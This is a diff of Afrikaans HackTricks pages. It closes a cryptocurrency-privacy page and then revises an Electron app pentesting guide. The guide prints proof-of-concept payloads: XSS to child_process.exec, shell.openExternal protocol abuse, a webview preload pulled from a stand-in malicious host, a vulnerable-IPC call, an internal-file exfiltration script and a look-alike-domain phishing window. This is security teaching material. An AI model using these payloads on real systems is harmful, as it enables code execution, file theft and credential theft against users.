- **Volle node**: Deur die hele blockchain af te laai, verseker 'n volle node maksimum privaatheid. Alle transaksies wat ooit gemaak is, word plaaslik gestoor, wat dit onmoontlik maak vir teenstanders om te identifiseer watter transaksies of adresse die gebruiker belangstel in.
|
|
||||||
- **Kliënt-kant blokfiltrering**: Hierdie metode behels die skep van filters vir elke blok in die blockchain, wat wallets in staat stel om relevante transaksies te identifiseer sonder om spesifieke belangstellings aan netwerkwaarnemers bloot te stel. Liggewig wallets laai hierdie filters af, en haal slegs volle blokke af wanneer 'n ooreenkoms met die gebruiker se adresse gevind word.
|
|
||||||
|
|
||||||
## **Gebruik van Tor vir Anonimiteit**
|
|
||||||
|
|
||||||
Aangesien Bitcoin op 'n peer-to-peer netwerk werk, word dit aanbeveel om Tor te gebruik om jou IP-adres te verberg, wat privaatheid verbeter wanneer jy met die netwerk interaksie het.
|
|
||||||
|
|
||||||
## **Voorkoming van Adres Hergebruik**
|
|
||||||
|
|
||||||
Om privaatheid te beskerm, is dit noodsaaklik om 'n nuwe adres vir elke transaksie te gebruik. Hergebruik van adresse kan privaatheid in gevaar stel deur transaksies aan dieselfde entiteit te koppel. Moderne wallets ontmoedig adres hergebruik deur hul ontwerp.
|
|
||||||
|
|
||||||
## **Strategieë vir Transaksie Privaatheid**
|
|
||||||
|
|
||||||
- **Meervoudige transaksies**: Om 'n betaling in verskeie transaksies te verdeel kan die transaksiebedrag verdoesel, wat privaatheid aanvalle verhoed.
|
|
||||||
- **Verandering vermyding**: Om transaksies te kies wat nie verandering-uitsette vereis nie, verbeter privaatheid deur verandering detectiemetodes te ontwrig.
|
|
||||||
- **Meervoudige verandering-uitsette**: As dit nie moontlik is om verandering te vermy nie, kan die generering van meervoudige verandering-uitsette steeds privaatheid verbeter.
|
|
||||||
|
|
||||||
# **Monero: 'n Baken van Anonimiteit**
|
|
||||||
|
|
||||||
Monero adressering die behoefte aan absolute anonimiteit in digitale transaksies, wat 'n hoë standaard vir privaatheid stel.
|
|
||||||
|
|
||||||
# **Ethereum: Gas en Transaksies**
|
|
||||||
|
|
||||||
## **Begrip van Gas**
|
|
||||||
|
|
||||||
Gas meet die rekenkundige inspanning wat nodig is om operasies op Ethereum uit te voer, geprys in **gwei**. Byvoorbeeld, 'n transaksie wat 2,310,000 gwei (of 0.00231 ETH) kos, behels 'n gaslimiet en 'n basisfooi, met 'n fooi om mynwerkers te motiveer. Gebruikers kan 'n maksimum fooi stel om te verseker dat hulle nie oorbetaal nie, met die oorskot terugbetaal.
|
|
||||||
|
|
||||||
## **Uitvoering van Transaksies**
|
|
||||||
|
|
||||||
Transaksies in Ethereum behels 'n sender en 'n ontvanger, wat óf gebruiker of slim kontrak adresse kan wees. Hulle vereis 'n fooi en moet gemyn word. Essensiële inligting in 'n transaksie sluit die ontvanger, sender se handtekening, waarde, opsionele data, gaslimiet, en fooie in. Opmerklik is dat die sender se adres afgelei word van die handtekening, wat die behoefte daaraan in die transaksiedata uitskakel.
|
|
||||||
|
|
||||||
Hierdie praktyke en meganismes is fundamenteel vir enigiemand wat wil betrokke raak by kriptogeldeenhede terwyl hulle privaatheid en sekuriteit prioritiseer.
|
|
||||||
|
|
||||||
## Verwysings
|
|
||||||
|
|
||||||
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
|
|
||||||
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
|
|
||||||
- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
|
|
||||||
- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
|
|
||||||
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
|
||||||
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
|
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
|
@ -1,17 +1,17 @@
|
|||||||
# Electron Desktop-apps
|
# Electron Desktop Apps
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Inleiding
|
## Introduction
|
||||||
|
|
||||||
Electron kombineer 'n plaaslike backend (met **NodeJS**) en 'n frontend (**Chromium**), alhoewel dit 'n paar van die sekuriteitsmeganismes van moderne blaaiers ontbreek.
|
Electron kombineer 'n plaaslike backend (met **NodeJS**) en 'n frontend (**Chromium**), alhoewel dit sommige van die sekuriteitsmeganismes van moderne blaaiers mis.
|
||||||
|
|
||||||
Gewoonlik sal jy die electron-app-kode binne 'n `.asar` toepassing vind; om die kode te verkry moet jy dit onttrek:
|
Gewoonlik sal jy die Electron-app se kode binne 'n `.asar`-toepassing vind; om die kode te bekom, moet jy dit uitpak:
|
||||||
```bash
|
```bash
|
||||||
npx asar extract app.asar destfolder #Extract everything
|
npx asar extract app.asar destfolder #Extract everything
|
||||||
npx asar extract-file app.asar main.js #Extract just a file
|
npx asar extract-file app.asar main.js #Extract just a file
|
||||||
```
|
```
|
||||||
In die bronkode van 'n Electron-app, binne `packet.json`, kan jy die `main.js`-lêer vind waarin sekuriteitskonfigurasies gestel is.
|
In die bronkode van 'n Electron-app, binne `packet.json`, kan jy die `main.js`-lêer vind waarin security configs gestel is.
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"name": "standard-notes",
|
"name": "standard-notes",
|
||||||
@ -20,11 +20,11 @@ In die bronkode van 'n Electron-app, binne `packet.json`, kan jy die `main.js`-l
|
|||||||
Electron het 2 proses-tipes:
|
Electron het 2 proses-tipes:
|
||||||
|
|
||||||
- Main Process (het volle toegang tot NodeJS)
|
- Main Process (het volle toegang tot NodeJS)
|
||||||
- Renderer Process (moet beperkte toegang tot NodeJS hê om sekuriteitsredes)
|
- Renderer Process (moet vir sekuriteitsredes beperkte toegang tot NodeJS hê)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
'n **renderer process** sal 'n browservenster wees wat 'n lêer laai:
|
'n **renderer process** sal 'n blaaiervenster wees wat 'n lêer laai:
|
||||||
```javascript
|
```javascript
|
||||||
const { BrowserWindow } = require("electron")
|
const { BrowserWindow } = require("electron")
|
||||||
let win = new BrowserWindow()
|
let win = new BrowserWindow()
|
||||||
@ -32,17 +32,17 @@ let win = new BrowserWindow()
|
|||||||
//Open Renderer Process
|
//Open Renderer Process
|
||||||
win.loadURL(`file://path/to/index.html`)
|
win.loadURL(`file://path/to/index.html`)
|
||||||
```
|
```
|
||||||
Instellings van die **renderer-proses** kan in die **main-proses** binne die main.js-lêer **gekonfigureer** word. Sommige van die konfigurasies sal die Electron-toepassing verhinder om RCE of ander kwesbaarhede te kry as die **instellings korrek gekonfigureer** is.
|
Instellings van die **renderer proses** kan in die **main proses** binne die main.js file **gekonfigureer** word. Sommige konfigurasies sal die Electron application verhoed om RCE of ander kwesbaarhede te kry indien die **instellings korrek gekonfigureer** is.
|
||||||
|
|
||||||
Die Electron-toepassing **kan toegang tot die toestel kry** via Node APIs alhoewel dit gekonfigureer kan word om dit te voorkom:
|
Die Electron-toepassing kan die toestel via Node APIs toegang kry, alhoewel dit gekonfigureer kan word om dit te voorkom:
|
||||||
|
|
||||||
- **`nodeIntegration`** - is `off` as verstek. As dit `on` is, maak dit toegang tot Node-funksies vanaf die renderer-proses moontlik.
|
- **`nodeIntegration`** - is `off` by default. As dit aan is, laat dit toegang tot Node-funksies vanaf die renderer proses toe.
|
||||||
- **`contextIsolation`** - is `on` as verstek. As dit `off` is, is die main- en renderer-prosesse nie geïsoleer nie.
|
- **`contextIsolation`** - is `on` by default. As dit af is, is main- en renderer-prosesse nie geïsoleer nie.
|
||||||
- **`preload`** - leeg as verstek.
|
- **`preload`** - leeg by verstek.
|
||||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is `off` as verstek. Dit sal die aksies wat NodeJS kan uitvoer beperk.
|
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. Dit sal die aksies wat NodeJS kan uitvoer beperk.
|
||||||
- Node integrasie in Workers
|
- Node Integration in Workers
|
||||||
- **`nodeIntegrationInSubframes`** - is `off` as verstek.
|
- **`nodeIntegrationInSubframes`**- is `off` by default.
|
||||||
- As **`nodeIntegration`** **geaktiveer** is, sal dit die gebruik van **Node.js APIs** in webbladsye wat **in iframes gelaai** word binne 'n Electron-toepassing toelaat.
|
- As **`nodeIntegration`** **geaktiveer** is, sal dit die gebruik van **Node.js APIs** in webbladsye wat in **iframes** binne 'n Electron-toepassing gelaai is, toelaat.
|
||||||
- As **`nodeIntegration`** **gedeaktiveer** is, sal preloads in die iframe gelaai word
|
- As **`nodeIntegration`** **gedeaktiveer** is, sal preloads in die iframe gelaai word
|
||||||
|
|
||||||
Example of configuration:
|
Example of configuration:
|
||||||
@ -103,7 +103,7 @@ Wysig die start-main-konfigurasie en voeg die gebruik van 'n proxy by, soos:
|
|||||||
```
|
```
|
||||||
## Electron Local Code Injection
|
## Electron Local Code Injection
|
||||||
|
|
||||||
As jy 'n Electron App lokaal kan uitvoer, is dit moontlik dat jy dit kan laat arbitrêre JavaScript-kode uitvoer. Kyk hoe in:
|
As jy 'n Electron App plaaslik kan uitvoer, is dit moontlik dat jy dit kan laat uitvoer arbitrêre javascript-kode. Kyk hoe in:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -112,7 +112,7 @@ As jy 'n Electron App lokaal kan uitvoer, is dit moontlik dat jy dit kan laat ar
|
|||||||
|
|
||||||
## RCE: XSS + nodeIntegration
|
## RCE: XSS + nodeIntegration
|
||||||
|
|
||||||
As die **nodeIntegration** op **on** gestel is, kan 'n webblad se JavaScript maklik Node.js-funksies gebruik net deur die `require()` aan te roep. Byvoorbeeld, die manier om die calc application op Windows uit te voer is:
|
As die **nodeIntegration** op **on** gestel is, kan 'n webblad se JavaScript maklik Node.js-funksies gebruik deur net die `require()` aan te roep. Byvoorbeeld, die manier om die calc-toepassing op Windows uit te voer is:
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
require("child_process").exec("calc")
|
require("child_process").exec("calc")
|
||||||
@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
|||||||
|
|
||||||
## RCE: preload
|
## RCE: preload
|
||||||
|
|
||||||
Die script wat in hierdie instelling aangedui word is l**oaded before other scripts in the renderer**, daarom het dit **unlimited access to Node APIs**:
|
Die skrip wat in hierdie instelling aangedui word, word **gelaai voor ander skripte in die renderer**, sodat dit **onbeperkte toegang tot Node APIs** het:
|
||||||
```javascript
|
```javascript
|
||||||
new BrowserWindow{
|
new BrowserWindow{
|
||||||
webPreferences: {
|
webPreferences: {
|
||||||
@ -133,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
|
|||||||
}
|
}
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
Daarom kan die script node-features na pages exporteer:
|
Daarom kan die skrip node-features na bladsye eksporteer:
|
||||||
```javascript:preload.js
|
```javascript:preload.js
|
||||||
typeof require === "function"
|
typeof require === "function"
|
||||||
window.runCalc = function () {
|
window.runCalc = function () {
|
||||||
@ -153,16 +153,16 @@ runCalc()
|
|||||||
|
|
||||||
## RCE: XSS + contextIsolation
|
## RCE: XSS + contextIsolation
|
||||||
|
|
||||||
Die _**contextIsolation**_ skep die **geskeide kontekste tussen die webbladskripte en die JavaScript interne kode van Electron** sodat die JavaScript-uitvoering van elke kode mekaar nie beïnvloed nie. Dit is 'n noodsaaklike funksie om die moontlikheid van RCE uit te skakel.
|
Die _**contextIsolation**_ skep geskeide kontekste tussen die webblad-skripte en Electron se interne JavaScript-kode, sodat die uitvoering van JavaScript in elk nie die ander beïnvloed nie. Dit is 'n nodige funksie om die moontlikheid van RCE uit te skakel.
|
||||||
|
|
||||||
As die kontekste nie geïsoleer is nie, kan 'n aanvaller:
|
As die kontekste nie geïsoleer is nie, kan 'n aanvaller:
|
||||||
|
|
||||||
1. Voer **arbitrary JavaScript in renderer** uit (XSS of navigasie na eksterne webwerwe)
|
1. Voer **arbitrêre JavaScript in renderer** uit (XSS of navigasie na eksterne webwerwe)
|
||||||
2. **Oorskryf die ingeboude metode** wat in preload of in Electron se interne kode gebruik word om 'n funksie oor te neem
|
2. **Oorskryf die ingeboude metode** wat in preload of Electron se interne kode gebruik word om funksie oor te neem
|
||||||
3. **Aktiveer** die gebruik van die **oorskrewe funksie**
|
3. **Aktiveer** die gebruik van die **oorskrewe funksie**
|
||||||
4. RCE?
|
4. RCE?
|
||||||
|
|
||||||
Daar is 2 plekke waar ingeboude metodes oorskryf kan word: in preload-kode of in Electron se interne kode:
|
Daar is 2 plekke waar ingeboude metodes oorgeskryf kan word: In preload code of in Electron internal code:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -179,34 +179,34 @@ electron-contextisolation-rce-via-electron-internal-code.md
|
|||||||
electron-contextisolation-rce-via-ipc.md
|
electron-contextisolation-rce-via-ipc.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Omseil van klikgebeurtenis
|
### Bypass click event
|
||||||
|
|
||||||
As daar beperkings toegepas word wanneer jy op 'n skakel klik, kan jy dit moontlik omseil deur 'n **middelkliek** te gebruik in plaas van 'n gewone linkerkliek.
|
As daar beperkings toegepas word wanneer jy op 'n skakel klik, kan jy dit moontlik omseil deur **'n middelkliek te doen** in plaas van 'n gewone linkerkliek
|
||||||
```javascript
|
```javascript
|
||||||
window.addEventListener('click', (e) => {
|
window.addEventListener('click', (e) => {
|
||||||
```
|
```
|
||||||
## RCE via shell.openExternal
|
## RCE deur shell.openExternal
|
||||||
|
|
||||||
Vir meer inligting oor hierdie voorbeelde, sien [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) en [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
Vir meer inligting oor hierdie voorbeelde sien [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) en [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||||
|
|
||||||
Wanneer 'n Electron desktop application ontplooi word, is dit noodsaaklik om die korrekte instellings vir `nodeIntegration` en `contextIsolation` te verseker. Dit is vasgestel dat **client-side remote code execution (RCE)** wat preload scripts of Electron's native code vanaf die main process teiken, effektief voorkom word met hierdie instellings in plek.
|
Wanneer 'n Electron-desktoptoepassing gedeploy word, is dit noodsaaklik om die korrekte instellings vir `nodeIntegration` en `contextIsolation` te verseker. Dit is vasgestel dat **client-side remote code execution (RCE)** wat preload scripts of Electron se native code vanaf die main process teiken, effektief voorkom word wanneer hierdie instellings ingestel is.
|
||||||
|
|
||||||
Wanneer 'n gebruiker met links omgaan of nuwe vensters open, word spesifieke event listeners geaktiveer, wat kritiek is vir die toepassing se sekuriteit en funksionaliteit:
|
Wanneer 'n gebruiker met skakels interaksie het of nuwe vensters oopmaak, word spesifieke event listeners geaktiveer, wat kritiek is vir die toepassing se sekuriteit en funksionaliteit:
|
||||||
```javascript
|
```javascript
|
||||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||||
webContents.on("will-navigate", function (event, url) {}
|
webContents.on("will-navigate", function (event, url) {}
|
||||||
```
|
```
|
||||||
Hierdie listeners word **oorskryf deur die desktop-toepassing** om sy eie **besigheidslogika** te implementeer. Die toepassing bepaal of 'n genavigeerde skakel intern of in 'n eksterne webblaaier geopen moet word. Hierdie besluit word gewoonlik deur 'n funksie, `openInternally`, geneem. As hierdie funksie `false` teruggee, dui dit aan dat die skakel eksterne geopen moet word deur gebruik te maak van die `shell.openExternal` funksie.
|
Hierdie listeners word deur die desktoptoepassing **oorskryf** om sy eie **sakelogika** te implementeer. Die toepassing evalueer of 'n genavigeerde skakel intern of in 'n eksterne webblaaier geopen moet word. Hierdie besluit word gewoonlik geneem deur 'n funksie, `openInternally`. As hierdie funksie `false` teruggee, dui dit aan dat die skakel eksterne geopen moet word deur die `shell.openExternal` funksie te gebruik.
|
||||||
|
|
||||||
**Hier is 'n vereenvoudigde pseudokode:**
|
**Hier is 'n vereenvoudigde pseudocode:**
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Electron JS se beste sekuriteitspraktyke raai aan om nie onbetroubare inhoud met die `openExternal` funksie te aanvaar nie, aangesien dit tot RCE deur verskeie protokolle kan lei. Bedryfstelsels ondersteun verskillende protokolle wat RCE kan veroorsaak. Vir gedetailleerde voorbeelde en verdere verduideliking oor hierdie onderwerp kan mens na [hierdie bron](https://positive.security/blog/url-open-rce#windows-10-19042) verwys, wat Windows-protokolvoorbeelde bevat wat hierdie kwesbaarheid kan uitbuit.
|
Electron JS se sekuriteitsbeste praktyke raai daarteen om onbetroubare inhoud met die `openExternal` funksie te aanvaar, aangesien dit tot RCE via verskeie protokolle kan lei. Bedryfstelsels ondersteun verskillende protokolle wat RCE kan veroorsaak. Vir gedetailleerde voorbeelde en verdere verduideliking oor hierdie onderwerp kan mens na [this resource](https://positive.security/blog/url-open-rce#windows-10-19042) verwys, wat Windows-protokolvoorbeelde insluit wat hierdie kwesbaarheid kan uitbuit.
|
||||||
|
|
||||||
In macos kan die `openExternal` funksie uitgebuit word om arbitrêre opdragte uit te voer, byvoorbeeld `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
In macos kan die `openExternal` funksie misbruik word om arbitrêre opdragte uit te voer, soos in `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||||
|
|
||||||
**Voorbeelde van Windows-protokoluitbuitings sluit in:**
|
**Voorbeelde van Windows-protokoluitbuitings sluit in:**
|
||||||
```html
|
```html
|
||||||
@ -228,17 +228,17 @@ window.open(
|
|||||||
)
|
)
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
## RCE: webviewTag + kwesbare preload IPC + shell.openExternal
|
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
||||||
|
|
||||||
Hierdie vuln kan gevind word in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
Hierdie kwesbaarheid kan gevind word in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||||
|
|
||||||
Die **webviewTag** is 'n **verouderde funksie** wat die gebruik van **NodeJS** in die **renderer process** toelaat, wat gedeaktiveer moet word aangesien dit toelaat om 'n skrip binne die preload context te laai soos:
|
Die **webviewTag** is 'n **verouderde funksie** wat die gebruik van **NodeJS** in die **renderer process** toelaat, en behoort gedeaktiveer te word aangesien dit toelaat om 'n skrip binne die **preload context** te laai soos:
|
||||||
```xml
|
```xml
|
||||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||||
```
|
```
|
||||||
Gevolglik kan 'n aanvaller wat daarin slaag om 'n ewekansige bladsy te laai, daardie tag gebruik om **load an arbitrary preload script**.
|
Daarom kan 'n aanvaller wat daarin slaag om 'n arbitrêre bladsy te laai daardie tag gebruik om **'n arbitrêre preload script te laai**.
|
||||||
|
|
||||||
Hierdie preload script is toe misbruik om 'n **kwetsbare IPC-diens (`skype-new-window`)** aan te roep wat calling calling **`shell.openExternal`** gebruik het om RCE te kry:
|
Hierdie preload script is toe misbruik om 'n **kwesbare IPC service (`skype-new-window`)** aan te roep, wat **`shell.openExternal`** aangeroep het om RCE te kry:
|
||||||
```javascript
|
```javascript
|
||||||
(async() => {
|
(async() => {
|
||||||
const { ipcRenderer } = require("electron");
|
const { ipcRenderer } = require("electron");
|
||||||
@ -249,15 +249,13 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
|||||||
}, 5000);
|
}, 5000);
|
||||||
})();
|
})();
|
||||||
```
|
```
|
||||||
## Lees interne lêers: XSS + contextIsolation
|
## Lees van Interne Lêers: XSS + contextIsolation
|
||||||
|
|
||||||
**Om `contextIsolation` te deaktiveer maak die gebruik van `<webview>`-tags moontlik**, soortgelyk aan `<iframe>`, vir die lees van plaaslike lêers en om data te exfiltrate.
|
**Deaktiveer van `contextIsolation` maak die gebruik van `<webview>`-tags moontlik**, soortgelyk aan `<iframe>`, om plaaslike lêers te lees en te exfiltrate. 'n Voorbeeld wys hoe om hierdie kwesbaarheid te exploit om die inhoud van interne lêers te lees:
|
||||||
|
|
||||||
'n Voorbeeld toon hoe om hierdie kwesbaarheid te misbruik om die inhoud van interne lêers te lees:
|
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Verder word nog 'n metode vir **die lees van 'n interne lêer** gedeel, wat 'n kritieke lokale lêer-lesings-kwesbaarheid in 'n Electron desktop app beklemtoon. Dit behels die inspuiting van 'n script om die toepassing te misbruik en data te exfiltrate:
|
Verder word nog 'n metode vir **lees van 'n interne lêer** gedeel, wat 'n kritieke plaaslike lêerlees-kwesbaarheid in 'n Electron desktop app uitlig. Dit behels injecting a script om die toepassing te exploit en exfiltrate data:
|
||||||
```html
|
```html
|
||||||
<br /><br /><br /><br />
|
<br /><br /><br /><br />
|
||||||
<h1>
|
<h1>
|
||||||
@ -275,43 +273,43 @@ frames[0].document.body.innerText
|
|||||||
```
|
```
|
||||||
## **RCE: XSS + Oud Chromium**
|
## **RCE: XSS + Oud Chromium**
|
||||||
|
|
||||||
As die **chromium** wat deur die toepassing gebruik word **oud** is en daar **bekende** **vulnerabilities** daarop is, kan dit moontlik wees om dit te **exploit** en RCE te verkry deur 'n XSS.\
|
As die **chromium** wat deur die toepassing gebruik word **oud** is en daar **bekende** **kwesbaarhede** daarop is, mag dit moontlik wees om dit te **uitbuit en RCE te verkry deur 'n XSS**.\
|
||||||
Jy kan 'n voorbeeld sien in hierdie **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
Jy kan 'n voorbeeld sien in hierdie **beskrywing**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||||
|
|
||||||
## **XSS Phishing via Internal URL regex bypass**
|
## **XSS Phishing via Interne URL regex bypass**
|
||||||
|
|
||||||
As jy 'n XSS gevind het maar jy **kan nie RCE trigger of interne lêers steel nie**, kan jy probeer om dit te gebruik om **credentials via phishing te steel**.
|
Gestel jy het 'n XSS gevind maar jy **kan nie RCE trigger of interne lêers steel nie**, kan jy probeer om dit te gebruik om **inlogbewyse via phishing te steel**.
|
||||||
|
|
||||||
Eers moet jy weet wat gebeur wanneer jy probeer om 'n nuwe URL te open, deur die JS-kode in die front-end na te gaan:
|
Eerstens moet jy weet wat gebeur wanneer jy probeer om 'n nuwe URL te open, deur die JS-kode in die front-end na te gaan:
|
||||||
```javascript
|
```javascript
|
||||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||||
```
|
```
|
||||||
Die oproep na **`openInternally`** bepaal of die **link** **geopen** sal word in die **desktopvenster** aangesien dit 'n link is wat aan die platform behoort, **of** dit in die **blaaier as 'n derdepartye hulpbron** geopen sal word.
|
Die oproep na **`openInternally`** sal bepaal of die **skakel** in die **desktopvenster** **geopen** sal word aangesien dit 'n skakel van die platform is, **of** of dit in die **blaaier as 'n derdepartybron** geopen sal word.
|
||||||
|
|
||||||
Indien die **regex** wat deur die funksie gebruik word **vulnerable to bypasses** (byvoorbeeld deur **not escaping the dots of subdomains**) kan 'n aanvaller die XSS misbruik om **open a new window which** wat in die aanvaller se infrastruktuur geleë sal wees en die gebruiker **asking for credentials**:
|
In die geval dat die **regex** wat deur die funksie gebruik word **vatbaar is vir omseilings** (byvoorbeeld deur **nie die kolletjies van subdomeine te ontsnap nie**) kan 'n aanvaller die XSS misbruik om **'n nuwe venster oop te maak wat** in die aanvaller se infrastruktuur geleë sal wees en die gebruiker **om credentials te vra**:
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
## `file://` Protokol
|
## `file://` Protocol
|
||||||
|
|
||||||
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** het eenzijdige toegang tot elke lêer op jou masjien, wat beteken dat **XSS** gebruik kan word om willekeurige lêers van die gebruiker se masjien te laai. Die gebruik van 'n **aangepaste protokol** voorkom sulke probleme aangesien jy die protokol kan beperk tot slegs die bediening van 'n spesifieke stel lêers.
|
Soos vermeld in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) het bladsye wat op **`file://`** loop eenzijdige toegang tot elke lêer op jou masjien, wat beteken dat **XSS-kwessies gebruik kan word om arbitrêre lêers van die gebruiker se masjien te laai**. Die gebruik van 'n **custom protocol** voorkom sulke probleme aangesien jy die protocol kan beperk sodat dit slegs 'n spesifieke stel lêers bedien.
|
||||||
|
|
||||||
## Remote module
|
## Remote module
|
||||||
|
|
||||||
Die Electron Remote module laat **renderer processes to access main process APIs**, wat kommunikasie binne 'n Electron-toepassing vergemaklik. Die aktivering van hierdie module bring egter beduidende sekuriteitsrisiko's mee. Dit vergroot die toepassing se aanvaloppervlakte en maak dit meer vatbaar vir kwesbaarhede soos cross-site scripting (XSS) aanvalle.
|
Die Electron Remote module laat renderer processes toe om toegang tot main process APIs te kry, wat kommunikasie binne 'n Electron-toepassing vergemaklik. Die inskakeling van hierdie module bring egter beduidende sekuriteitsrisiko's mee. Dit vergroot die toepassing se aanvalsoppervlak, wat dit meer vatbaar maak vir kwesbaarheid soos cross-site scripting (XSS)-aanvalle.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Alhoewel die **remote** module sommige APIs van main na renderer processes blootstel, is dit nie eenvoudig om RCE slegs deur die komponente te misbruik te kry nie. Die komponente kan egter sensitiewe inligting blootstel.
|
> Alhoewel die **remote** module sommige APIs van main na renderer processes openbaar, is dit nie reguit om RCE te kry deur net die komponente te misbruik nie. Die komponente kan egter sensitiewe inligting openbaar.
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Baie apps wat steeds die remote module gebruik, doen dit op 'n wyse wat **require NodeIntegration to be enabled** in die renderer process, wat 'n **enorme sekuriteitsrisiko** is.
|
> Baie apps wat steeds die remote module gebruik, doen dit op 'n wyse wat **vereis dat NodeIntegration in die renderer process geaktiveer is**, wat 'n **enorme sekuriteitsrisiko** is.
|
||||||
|
|
||||||
Sedert Electron 14 kan die `remote` module van Electron op verskeie maniere aangeskakel wees; weens sekuriteits- en prestasie-redes word dit **aanbeveel om dit nie te gebruik nie**.
|
Sedert Electron 14 kan die `remote` module van Electron in verskeie stappe geaktiveer word; weens sekuriteits- en prestasie-redes word dit egter **aanbeveel om dit nie te gebruik nie**.
|
||||||
|
|
||||||
Om dit te aktiveer, moet dit eers **in die main process aangeskakel word**:
|
Om dit te aktiveer, moet dit eers **in die main process geaktiveer word**:
|
||||||
```javascript
|
```javascript
|
||||||
const remoteMain = require('@electron/remote/main')
|
const remoteMain = require('@electron/remote/main')
|
||||||
remoteMain.initialize()
|
remoteMain.initialize()
|
||||||
@ -322,28 +320,28 @@ mainWindow = new BrowserWindow({
|
|||||||
})
|
})
|
||||||
remoteMain.enable(mainWindow.webContents)
|
remoteMain.enable(mainWindow.webContents)
|
||||||
```
|
```
|
||||||
Dan kan die renderer-proses objekte uit die module invoer soos:
|
Dan kan die renderer-proses objekte van die module invoer wat dit wil:
|
||||||
```javascript
|
```javascript
|
||||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||||
```
|
```
|
||||||
Die **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** dui op 'n paar interessante **funksies** wat deur die objek **`app`** van die remote module blootgestel word:
|
Die **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** dui 'n paar interessante **funksies** aan wat deur die objek **`app`** van die remote module blootgestel word:
|
||||||
|
|
||||||
- **`app.relaunch([options])`**
|
- **`app.relaunch([options])`**
|
||||||
- **Herbegin** die toepassing deur die huidige instansie te **beëindig** en 'n nuwe een te **lanseer**. Nuttig vir **app-opdaterings** of betekenisvolle **toestandveranderinge**.
|
- **Herbegin** die toepassing deur die huidige instansie te beëindig en 'n nuwe een te begin. Nuttig vir **app updates** of betekenisvolle **staatveranderinge**.
|
||||||
- **`app.setAppLogsPath([path])`**
|
- **`app.setAppLogsPath([path])`**
|
||||||
- **Bepaal** of **skep** 'n gids vir die stoor van **app logs**. Die logs kan met **`app.getPath()`** of **`app.setPath(pathName, newPath)`** **verkry** of **gewysig** word.
|
